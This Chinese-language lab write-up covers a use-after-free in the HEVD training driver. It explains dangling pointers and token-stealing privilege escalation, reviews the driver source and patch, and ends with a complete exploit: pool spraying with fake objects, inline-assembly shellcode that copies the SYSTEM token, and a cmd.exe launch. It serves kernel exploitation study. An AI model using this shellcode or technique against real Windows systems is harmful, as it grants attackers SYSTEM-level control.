漏洞原理:
UAF原理:
Use After Free,当一个内存块被释放之后再次被使用
申请出一个堆块保存在一个指针中,在释放后,没有将该指针清空,形成了一个悬挂指针(danglingpointer),而后再申请出堆块时会将刚刚释放出的堆块申请出来,并复写其内容,而悬挂指针此时仍然可以使用,使得出现了不可控的情况。攻击者一般利用该漏洞进行函数指针的控制,从而劫持程序执行流。
提权原理:
运行一个cmd断下来用!dml_proc命令查看当前进程列表
kd> !dml_procAddress PID Image file name86af0798 4 System876edba0 fc smss.exe87e01860 148 csrss.exe87f975b0 180 csrss.exe87f9a450 1a0 wininit.exe.......................88409570 a44 cmd.exe
Systemd的地址是86af0798 PID是4(SYSTEM在所有系统PID都为4)
cmd地址是88409570 PID是0xa44
每个进程都有一个 EPROCESS 结构,里面保存着进程的各种信息,和相关结构的指针。
在WinDBG中使用dt nt!_EPROCESS可以看到该结构
kd> dt nt!_EPROCESS+0x000 Pcb : _KPROCESS+0x098 ProcessLock : _EX_PUSH_LOCK+0x0a0 CreateTime : _LARGE_INTEGER+0x0a8 ExitTime : _LARGE_INTEGER+0x0b0 RundownProtect : _EX_RUNDOWN_REF+0x0b4 UniqueProcessId : Ptr32 Void+0x0b8 ActiveProcessLinks : _LIST_ENTRY+0x0c0 ProcessQuotaUsage : [2] Uint4B+0x0c8 ProcessQuotaPeak : [2] Uint4B+0x0d0 CommitCharge : Uint4B+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK+0x0dc PeakVirtualSize : Uint4B+0x0e0 VirtualSize : Uint4B+0x0e4 SessionProcessLinks : _LIST_ENTRY+0x0ec DebugPort : Ptr32 Void+0x0f0 ExceptionPortData : Ptr32 Void+0x0f0 ExceptionPortValue : Uint4B+0x0f0 ExceptionPortState : Pos 0, 3 Bits+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE+0x0f8 Token : _EX_FAST_REF+0x0fc WorkingSetPage : Uint4B+0x100 AddressCreationLock : _EX_PUSH_LOCK............................................
在偏移为0x0f8的地方可以找到我们需要的Token,使用dt nt!_EX_FAST_REF看这个结构体的细节
kd> dt nt!_EX_FAST_REF+0x000 Object : Ptr32 Void+0x000 RefCnt : Pos 0, 3 Bits+0x000 Value : Uint4B
所以我们使用命令dt nt!_EX_FAST_REF 进程地址+F8就可以得到想要进程的Token
kd> dt nt!_EX_FAST_REF 86af0798+f8(System)+0x000 Object : 0x8da01276 Void+0x000 RefCnt : 0y110+0x000 Value : 0x8da01276---(Value就是Token的值)kd> dt nt!_EX_FAST_REF 88409570+f8(cmd.exe)+0x000 Object : 0x9b7b3432 Void+0x000 RefCnt : 0y010+0x000 Value : 0x9b7b3432---(Value就是Token的值)
我们通过ed命令修改cmd token的值为system token
提权成功
尝试将上述操作转变为汇编,主要思路将当前EPROCESS结构中的Token替换为Sys的Token
在Windows系统中,处理器信息被存储在内核处理器控制区域(KPCR)数据结构中。KPCR结构总是使用FS段寄存器进行索引,在Windows x86中为FS:[0]
在KPCR数据结构中,标识了指向内核处理器控制块(KPRCB)数据结构的指针。KPRCB结构体拥有内核资源管理所需的大部分信息。里面的第四个字节指向CurrentThread
这样fs:[124h]其实是指向当前线程的_KTHREAD
我们要找的是指向KAPC_STATE数据结构的ApcState成员的偏移量。
KAPC_STATE数据结构用于线程查找其关联的进程,这个成员含有一个指向KPROCESS数据结构的指针,我们要找的便是这个,再通过这个去找EPROCESS中的Token,那我们找token的流程便是:
fs:124h——->fs:[124h]+0x50->[fs:[124h]+0x50]+0xf8(Token)
void Shellcode{_asm{pushadmov eax,fs:[124h]//当前线程的_KTHREADmov eax,[eax+0x50]//eax = _KPROCESS也就是_EPROCESSmov ecx,eaxmov edx,4//SysPid = 4find_sys_pid:mov eax,[eax+0xb8]//ActiveProcessLinkssub eax,0xb8//遍历cmp[eax + 0xb4], edx//PID?=4jnz find_sys_pidmov edx,[eax+0xf8]mov [ecx+0xf8],edxpopadret}}
源码分析:
源码分为4个部分,分别是AllocateUaFObject、UseUaFObject、FreeUaFObject、AllocateFakeObject
AllocateUaFObject
NTSTATUS AllocateUaFObject() {NTSTATUS Status = STATUS_SUCCESS;PUSE_AFTER_FREE UseAfterFree = NULL;PAGED_CODE();__try {DbgPrint("[+] Allocating UaF Object\n");// Allocate Pool chunkUseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,sizeof(USE_AFTER_FREE),(ULONG)POOL_TAG);if (!UseAfterFree) {// Unable to allocate Pool chunkDbgPrint("[-] Unable to allocate Pool chunk\n");Status = STATUS_NO_MEMORY;return Status;}else {DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);}// Fill the buffer with ASCII 'A'RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);// Null terminate the char bufferUseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';// Set the object Callback functionUseAfterFree->Callback = &UaFObjectCallback;// Assign the address of UseAfterFree to a global variableg_UseAfterFreeObject = UseAfterFree;DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);}__except (EXCEPTION_EXECUTE_HANDLER) {Status = GetExceptionCode();DbgPrint("[-] Exception Code: 0x%X\n", Status);}return Status;}
typedef struct _USE_AFTER_FREE {FunctionPointer Callback;CHAR Buffer[0x54];} USE_AFTER_FREE, *PUSE_AFTER_FREE;
函数先使用ExAllocatePoolWithTag申请一块这样的内存,填充上A,以0终止
UseUaFObject
NTSTATUS UseUaFObject() {NTSTATUS Status = STATUS_UNSUCCESSFUL;PAGED_CODE();__try {if (g_UseAfterFreeObject) {DbgPrint("[+] Using UaF Object\n");DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);DbgPrint("[+] Calling Callback\n");if (g_UseAfterFreeObject->Callback) {g_UseAfterFreeObject->Callback();}Status = STATUS_SUCCESS;}}__except (EXCEPTION_EXECUTE_HANDLER) {Status = GetExceptionCode();DbgPrint("[-] Exception Code: 0x%X\n", Status);}return Status;}
这个函数使用悬挂指针,当我们对Callback进行替换后,再次使用函数指针时,会导致控制流的劫持。
FreeUaFObject
NTSTATUS FreeUaFObject() {NTSTATUS Status = STATUS_UNSUCCESSFUL;PAGED_CODE();__try {if (g_UseAfterFreeObject) {DbgPrint("[+] Freeing UaF Object\n");DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);#ifdef SECURE// Secure Note: This is secure because the developer is setting// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freedExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);g_UseAfterFreeObject = NULL;#else// Vulnerability Note: This is a vanilla Use After Free vulnerability// because the developer is not setting 'g_UseAfterFreeObject' to NULL.// Hence, g_UseAfterFreeObject still holds the reference to stale pointer// (dangling pointer)ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);#endifStatus = STATUS_SUCCESS;}}__except (EXCEPTION_EXECUTE_HANDLER) {Status = GetExceptionCode();DbgPrint("[-] Exception Code: 0x%X\n", Status);}return Status;}
可以看到如果是安全的版本下使用完ExFreePoolWithTag后则将g_UseAfterFreeObject设置为NULL,而在易受攻击的版本将只使用ExFreePoolWithTag,这将留下对之前悬空指针的引用
AllocateFakeObject
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {NTSTATUS Status = STATUS_SUCCESS;PFAKE_OBJECT KernelFakeObject = NULL;PAGED_CODE();__try {DbgPrint("[+] Creating Fake Object\n");// Allocate Pool chunkKernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,sizeof(FAKE_OBJECT),(ULONG)POOL_TAG);if (!KernelFakeObject) {// Unable to allocate Pool chunkDbgPrint("[-] Unable to allocate Pool chunk\n");Status = STATUS_NO_MEMORY;return Status;}else {DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);}// Verify if the buffer resides in user modeProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));// Copy the Fake structure to Pool chunkRtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));// Null terminate the char bufferKernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);}__except (EXCEPTION_EXECUTE_HANDLER) {Status = GetExceptionCode();DbgPrint("[-] Exception Code: 0x%X\n", Status);}return Status;}typedef struct _FAKE_OBJECT {CHAR Buffer[0x58];} FAKE_OBJECT, *PFAKE_OBJECT;
该函数再次申请堆块,申请出一个与USE_AFTER_FREE同样大小的FAKE_OBJECT结构体,再次申请出来的FAKE结构体与之前的结构体是同一块内存
漏洞利用:
如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。用堆喷射技术来保证申请到用的这一块内存。
typedef struct _FAKE_USE_AFTER_FREE{FunctionPointer countinter;char bufffer[0x54];}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
在函数申请内存并释放后,先进行环境的伪装
//申请假的chunkPUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));//指向我们的shellcodefakeG_UseAfterFree->countinter = ShellCode;//用A填满该chunkRtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
池喷射
先申请10000个填满碎片
再申请的5000个会是连续的
再从后面的5000里间隔一个释放一个
这样就会有好多0x60字节大小的地方不会被合并 也肯定能覆盖到第一次申请的地方
假设想要被分配的POOL的大小是258.操作系统会去选取最适合258(>=)的空闲POOL位置来存放他,看一下我们的UAF(假设已经成功)POOL的大小. 我们申请一个和他一模一样的POOL. 有一定的概率使我们分配后的POOL的刚好是这个地方呢. 答案是肯定的. 但是有一个问题. 一定的概率. 我们希望我们的利用代码能够更加的稳定. 假设此时操作一共有X个大小的空闲区域. 我们的概率是1/X, 分配两个是2/X, 不断增加.
// 喷射printf("***********************************\n");printf("Start to heap spray...\n");for (int i = 0; i < 5000; i++){DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);}
最后调用一个cmd看看是否提权成功
static VOID CreateCmd(){STARTUPINFO si = { sizeof(si) };PROCESS_INFORMATION pi = { 0 };si.dwFlags = STARTF_USESHOWWINDOW;si.wShowWindow = SW_SHOW;WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);}
补丁:
#ifdef SECURE// Secure Note: This is secure because the developer is setting// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freedExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);g_UseAfterFreeObject = NULL;#else// Vulnerability Note: This is a vanilla Use After Free vulnerability// because the developer is not setting 'g_UseAfterFreeObject' to NULL.// Hence, g_UseAfterFreeObject still holds the reference to stale pointer// (dangling pointer)ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
下面是在UseUaFObject()函数中的修复方案,加个NULL的判断
if(g_UseAfterFreeObject != NULL){if (g_UseAfterFreeObject->Callback) {g_UseAfterFreeObject->Callback();}}
Exp:
// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#include<stdio.h>#include<Windows.h>/************************************************************************//* Write by Thunder_J 2019.6 *//************************************************************************/typedef void(*FunctionPointer) ();typedef struct _FAKE_USE_AFTER_FREE{FunctionPointer countinter;char bufffer[0x54];}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;void ShellCode(){_asm{noppushadmov eax, fs: [124h] // 找到当前线程的_KTHREAD结构mov eax, [eax + 0x50] // 找到_EPROCESS结构mov ecx, eaxmov edx, 4 // edx = system PID(4)// 循环是为了获取system的_EPROCESSfind_sys_pid :mov eax, [eax + 0xb8] // 找到进程活动链表sub eax, 0xb8 // 链表遍历cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEMjnz find_sys_pid// 替换Tokenmov edx, [eax + 0xf8]mov[ecx + 0xf8], edxpopadret}}static VOID CreateCmd(){STARTUPINFO si = { sizeof(si) };PROCESS_INFORMATION pi = { 0 };si.dwFlags = STARTF_USESHOWWINDOW;si.wShowWindow = SW_SHOW;WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);}int main(){DWORD recvBuf;// 获取句柄HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);printf("Start to get HANDLE...\n");if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL){printf("获取句柄失败\n");return 0;}// 调用 AllocateUaFObject() 函数申请内存printf("Start to call AllocateUaFObject()...\n");DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);// 调用 FreeUaFObject() 函数释放对象printf("Start to call FreeUaFObject()...\n");DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);printf("Start to write shellcode()...\n");//申请假的chunkPUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));//指向我们的shellcodefakeG_UseAfterFree->countinter = ShellCode;//用A填满该chunkRtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');// 堆喷射printf("***********************************\n");printf("Start to heap spray...\n");for (int i = 0; i < 5000; i++){DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);}// 调用 UseUaFObject() 函数printf("Start to call UseUaFObject()...\n");DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);printf("Start to create cmd...\n");CreateCmd();return 0;}

